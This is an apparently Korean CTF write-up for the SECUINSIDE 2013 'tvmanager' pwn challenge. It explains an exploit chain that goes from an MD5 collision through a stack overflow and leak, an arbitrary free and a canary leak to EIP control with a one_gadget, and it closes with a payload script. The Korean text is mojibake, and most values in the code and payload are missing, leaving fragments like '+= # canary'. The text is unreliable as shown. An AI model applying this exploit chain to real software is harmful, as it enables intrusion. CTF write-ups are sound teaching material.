SECUINSIDE CTF 2013 - tvmanager
๋ชฉ์ฐจ
0x00. Introduction
Structure
Concept
int __cdecl
์
๋ ฅ๋ฐ์ ์ด๋ฆ์ md5๋ก hashํด์ ๊ฒฝ๋ก๋ฅผ ๋ง๋ค๊ณ , movie๋ฅผ ๋ฑ๋กํ ๋ ๋ง๋ค ๊ทธ ๋ฐ์ movie->name์ hash๊ฐ์ผ๋ก ํ์ผ์ ๋ง๋ค์ด ๋ด์ฉ์ ์ ์ฅํ๋ค.
0x01. Vulnerability
MD5 collision
์ฌ๋ฌ ๊ฐ์ง ์ทจ์ฝ์ ์ด ์กด์ฌํ๊ณ ๊ทธ๊ฒ๋ค์ ์ข ํฉํด์ exploit์ ํด์ผํ๋๋ฐ ๊ทธ ์ค ๊ฐ์ฅ ๋จผ์ ๋ด์ผํ ๊ฒ์ด MD5 collision์ด๋ค.
collision์ด๋ ์ ๋ ฅํ ๋ฌธ์์ด์ด ๋ค๋ฅธ๋ฐ hashํ ๊ฐ์ด ๊ฐ์ ํ์์ ๋งํ๋ฉฐ, ์ด ์ ๋ ฅ๊ฐ ํ ์์ ์ถฉ๋์์ด๋ผ๊ณ ํ๋ค. ๊ตฌ๊ธ๋งํด์ ์ฐพ์ ์์๋ก๋ ๋ค์์ด ์๋ค.
# md5 collision - 79054025255fb1a26e4bc422aef54eb4
=
=
์ผ์ถ ๋น์ทํด๋ณด์ด์ง๋ง ์์ธํ ๋ณด๋ฉด ์ค๊ฐ์ค๊ฐ ๋ช ๋ฐ์ดํธ๊ฐ ๋ค๋ฅด๋ค. ์ฌ๋ด์ผ๋ก ์ค๊ฐ์ค๊ฐ ๋ค๋ฅธ ๋ช ๋ฐ์ดํธ๊ฐ \x00์ด๋ \xff์ผ ๊ฒฝ์ฐ ๋ฌธ์ ๋ด์์ strcpy()๋ fread()๋ฅผ ํ๋ ๊ณผ์ ์์ ๋๊ธฐ๊ธฐ ๋๋ฌธ์ ์๋นํ ๊ณจ์น์ํ์ง๋๋ฐ, ์ด๋ฅผ ์ ํผํด์ ์ถฉ๋์์ ๊ตฌํ๋ ๊ฒ์ด ์ข๋ค.
์ด๋ ๊ฒ hash๊ฐ์ด ๊ฐ์ ์ถฉ๋์์ ์ด๋ฆ์ผ๋ก movie๋ฅผ ๋ฑ๋กํ๊ฒ ๋๋ฉด,
int
์
๋ ฅํ ๋ฌธ์์ด์ ๋ค๋ฅด๊ธฐ ๋๋ฌธ์ strcmp(movie_ptr->name, src) ๊ฒ์ฌ๋ ํต๊ณผํ๊ฒ ๋๊ณ , hashํ ๊ฐ์ ๊ฐ๊ธฐ ๋๋ฌธ์ fd = fopen(src, "wb")์์ ๊ฐ์ ํ์ผ์ ์ด๊ฒ ๋๋ค.
์ด๋ฌ๋ฉด ๋ค์ ์ทจ์ฝ์ ์ triggerํ ์ ์๋ค.
Stack Overflow & Leak
์ฒซ ๋ฒ์งธ movie_1์ size๋ 0x4, ๋ ๋ฒ์งธ movie_2์ size๋ 0x1000์ผ๋ก ์์ฑํ๋ค๊ณ ๊ฐ์ ํ์.
int
๊ทธ๋ฌ๋ฉด movie_1๋ก broadcast๋ฅผ ํ์ ๋ size๊ฐ 0x4์ด๋ฏ๋ก stack_buf์ ํ์ผ ๋ด์ฉ์ ์ฝ์ด ํ ๋ฐ์ดํธ์ฉ ๋ณต์ฌํ๊ฒ ๋๋ค. ๊ทธ๋ฐ๋ฐ movie_1์ ์์ฑํ๊ณ movie_2๋ฅผ ์์ฑํ์ผ๋ฏ๋ก ํ์ฌ ํ์ผ์๋ 0x1000๋ฐ์ดํธ ๊ธธ์ด์ ๋ด์ฉ์ด ์ฐ์ฌ์ ธ ์์ ๊ฒ์ด๋ค. ์ ์ฝ๋์์๋ \xff๊ฐ ๋์ฌ ๋๊น์ง stack_buf์ ๋ณต์ฌ๋ฅผ ํ๋ฏ๋ก stack_buf ๋ค์ size, contents๋ ๋ฌผ๋ก return address๊น์ง๋ ๋ฎ์ ์ ์๋ค.
์ด๋ ๊ฒ ์์ overflow๋ฅผ ๋ด๋ฒ๋ฆฌ๊ฑฐ๋ ๋ค๋ฅธ ๊ฐ๋ค์ leakํ ์ ์๋๋ฐ, ์ด๋ฒ์๋ movie_1์ size๋ 0x3ff, movie_2์ size๋ 0x400์ผ๋ก ์์ฑํ ์ํฉ์ ๊ฐ์ ํด๋ณด์. ์ด ๋ movie_2์ ๋ด์ฉ ์ฒซ ๋ฐ์ดํธ๋ฅผ \xff๋ก ํ๋ค๋ฉด ๋ฐ๋ก ๋ณต์ฌ๊ฐ ์ข
๋ฃ๋์ด ํ ๋ฐ์ดํธ๋ ๋ฐ๊พธ์ง ์์ stack์ ์ํฉ์ ๋ณผ ์ ์๋ค.
๋ณต์ฌ๋ฅผ ํ๋ ์์ ์ stack ๊ฐ๋ค์ ๋ณด๋ฉด ๋ค๋ฅธ ๋์์ ํ๋ค๊ฐ ์ฐ์ฌ์ง ๋งค๋ ฅ์ ์ธ ๊ฐ๋ค์ด ๋ง์ด ์๋๋ฐ, ํ ๋ฒ์ leak์ผ๋ก stack, libc, code, heap ์์ญ์ ๋ํ leak์ด ๊ฐ๋ฅํ๋ค.
๋ฌธ์ ๋ canary์ธ๋ฐ, ์ด ๋๋ฌธ์ stack leak์ด ํ์ํ์ง๋ง movie_1์ size๊ฐ 0x3ff๋ณด๋ค ํฌ๋ฉด ์ทจ์ฝ์ ์ด ์ฑ๋ฆฝํ์ง ์์ผ๋ฏ๋ก ์ด ๋ฐฉ๋ฒ์ผ๋ก๋ ๋ถ๊ฐ๋ฅํ๋ค. ๋ฐ๋ผ์ ๋ค๋ฅธ ์ทจ์ฝ์ ์ด ํ์ํ๋ค.
Arbitrary Free
int
์ง์ ์ stack overflow ์ทจ์ฝ์ ์ ์ด์ฉํ๋ฉด size์ contents๋ฅผ ์กฐ์ํ ์ ์๋ค.
๋ง์ฐฌ๊ฐ์ง๋ก ์ง์ ์ leak์ ์ ์ํํ๋ค๋ฉด heap์ ๋ํ ์ฃผ์๊ฐ์ด ์์ผ๋ฏ๋ก, size๋ฅผ 0x3ff๋ณด๋ค ํฐ ๊ฐ์ผ๋ก ์กฐ์ํ๊ณ offset์ ๊ณ์ฐํด์ contents๊ฐ์ ์กฐ์ํ๋ฉด heap์ ์๋ฌด chunk๋ free()ํ ์ ์๊ฒ๋๋ค. ์ด๋ ๊ฒ free๋ chunk๋ bin์ผ๋ก ๊ฐ์ ๊ฐ์ ์ฌ์ด์ฆ์ malloc()์์ฒญ์ด ์์ ๋ ๊ทธ๋๋ก ์ฌ์ฉ๋๋ฏ๋ก ์ฐ๋ฆฌ๊ฐ ์ํ๋ ๊ธธ์ด๋งํผ malloc()์ ํ ์ ์๋ ๋ถ๋ถ์ ์ฐพ์๋ณด๋ฉด,
int
register()์์ movie์ ์ด๋ฆ์ ์ ์ฅํ๊ธฐ ์ํ name_ptr์ ์ฌ์ด์ฆ๋ฅผ ์ฐ๋ฆฌ๊ฐ ์กฐ์ ํ ์ ์๊ณ , ๋ด์ฉ๋ ์
๋ ฅํ ์ ์๋ค. ์ด๋ฅผ ์ด์ฉํด์ canary๋ฅผ leakํ ์ ์๋ค.
์ดํ์๋ ๋ค์ stack overflow ์ทจ์ฝ์ ์ ์ด์ฉํด์ eip control์ ํ๋ฉด ๋๋ค.
0x02. Exploit
Stack Leak
๊ฐ์ฅ ๋จผ์ ํ ๊ฒ์ md5 collision์ ์ด์ฉํ stack leak์ด๋ค.
# md5 collision - 79054025255fb1a26e4bc422aef54eb4
=
=
# stack, heap, libc leak
# index 1
# index 2
=
=
์ด๋ ๊ฒ movie_1์ 0x3ff, movie_2๋ฅผ 0x400์ผ๋ก ์์ฑํ๊ณ movie_2์ ๋ด์ฉ์ \xff์ผ๋ก ๋ง๋ค์ด์ ํ ๋ฐ์ดํธ๋ ๋ณต์ฌ๋ฅผ ํ์ง ์๊ฒ๋ ๊ตฌ์ฑํ๋ฉด, stack_buf๋ก๋ถํฐ 0x3ff ๋ฐ์ดํธ์ ์ค์ผ๋์ง ์์ stack leak์ด ๊ฐ๋ฅํ๋ค.
์ฌ๊ธฐ์์ ๋ด์ฉ์ ๊ทธ๋ฅ ์ถ๋ ฅํด์ฃผ๋ ๊ฒ์ด ์๋ broadcast๋ก IP, port๋ฅผ ์ง์ ํด์ socket์ผ๋ก ๋ณด๋ด์ฃผ๊ธฐ ๋๋ฌธ์ pwntools์ listen()์ ์ฌ์ฉํ๋ค.
Arbitrary Free
์ด์ leak๋ ๊ฐ๋ค์ ๋ฐํ์ผ๋ก arbitrary free๋ฅผ ํธ๋ฆฌ๊ฑฐํด์ผํ๋๋ฐ, ์ฌ์ค์ ๊ฐ์ ์ทจ์ฝ์ ์ ์ฌ์ฉํ์ง๋ง ์ถฉ๋์์ ์ฌํ์ฉํ๋ ๊ฒ์ด ์ด๋ ค์ฐ๋ฏ๋ก ์๋ก์ด ์ถฉ๋์์ ์ฌ์ฉํ๋ค.
# md5 collision - cee9a457e790cf20d4bdaa6d69f01e41
=
=
# free(movie_1)
# index 3
= b * 0x400 # buf
+= # size
+= # contents, movie_1
# index 4
์ payload๊ณผ ๊ฐ์ด free๋ฅผ ์ํด size๋ฅผ 0x400์ผ๋ก ์กฐ์ํ๊ณ movie_1์ freeํ๊ธฐ ์ํด contents ๊ฐ์ ์กฐ์ํ๋ค. ์ด free๋ chunk๋ฅผ ๋ค์ ํ ๋น๋ฐ๊ธฐ ์ํด์,
# canary leak
= b # size
+= b # category
+= # name, canary
+= # next, movie_2
+= b # prev
# index 5
name์ด struct movie์ ๊ฐ์ ๊ตฌ์กฐ๊ฐ ๋๊ฒ๋ payload๋ฅผ ์์ฑํด์ register๋ฅผ ์คํํ๋ค.
์ด ๋ category ๊ฐ์ ๊ทธ๋ฅ 1๋ก ํ๋ ค๊ณ ํ๋๋ฐ strcpy(movie_new->name, src);๋ฅผ ํตํด์ name์ ๋ณต์ฌ๋๊ธฐ ๋๋ฌธ์ ์ค๊ฐ์ \x00์ด ์์ผ๋ฉด ๋ค payload๊ฐ ์งค๋ฆฌ๊ฒ ๋๋ค. ๊ทธ๋ ๋ค๊ณ category ๊ฐ์ 0x41414141๊ณผ ๊ฐ์ dummy ๊ฐ์ผ๋ก ์ฑ์ฐ๋ฉด leak์ ์ํด์ ์คํํ๋ list์์ OOB ์๋ฌ๊ฐ ๋ฐ์ํ๋ค.
int
๊ทธ๋์ -1์ ์๋ฏธํ๋ \xff\xff\xff\xff๋ก ๋ฎ์ด์ ๋ ์ ์ฝ์ ํ ๋ฒ์ ํด๊ฒฐํ๋ค. ์ด ์ํ๋ก list๋ฅผ ํธ์ถํ๋ฉด movie_ptr->name์ด canary์ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๋ฏ๋ก canary leak์ด ๊ฐ๋ฅํ๋ค.
EIP Control
์ด์ ํ์ํ ๋ชจ๋ ์ ๋ณด๋ฅผ ๊ฐ์ง๊ณ ์์ผ๋ฏ๋ก eip control์ด ๊ฐ๋ฅํ๊ณ , ์คํ์ํฌ ๊ณณ์ one_gadget์ ํตํด์ ์ธ๋งํ ์ฃผ์๋ก ์ค์ ํ๋ค.
๊ทธ๋ฌ๋ฉด ์ต์ข payload๋ ๋ค์๊ณผ ๊ฐ๋ค.
# md5 collision - fe6c446ee3a831ee010f33ac9c1b602c
=
=
# eip control
# index 6
= b * 0x400 # buf
+= # size
+= # contents
+= # canary
+= b * 0xc # dummy
+= # return
# index 7
์ฌ๊ธฐ์์๋ ๋ง์ฐฌ๊ฐ์ง๋ก ์๋ก์ด ์ถฉ๋์์ด ํ์ํ๊ณ leakํ libc ์ฃผ์์ one shot ๊ฐ์ ฏ์ offset์ ๋ํด์ return address์ ์จ์ฃผ๋ฉด ์์ ํ๋ํ ์ ์๋ค.
0x03. Payload
= True
=
=
= 0x56555000
= 0x56559100
= 0x56559120
=
= f
=
return
return
return
return
=
=
=
=
=
# md5 collision - 79054025255fb1a26e4bc422aef54eb4
=
=
# md5 collision - cee9a457e790cf20d4bdaa6d69f01e41
=
=
# md5 collision - fe6c446ee3a831ee010f33ac9c1b602c
=
=
# stack, heap, libc leak
# index 1
# index 2
=
=
= - 0x16a0
=
= - 0x1b3da7
# free(movie_1)
# index 3
= b * 0x400 # buf
+= # size
+= # contents, movie_1
# index 4
# canary leak
= b # size
+= b # category
+= # name
+= # next
+= b # prev
# index 5
=
=
# eip control
# index 6
= b * 0x400 # buf
+= # size
+= # contents
+= # canary
+= b * 0xc # dummy
+= # return
# index 7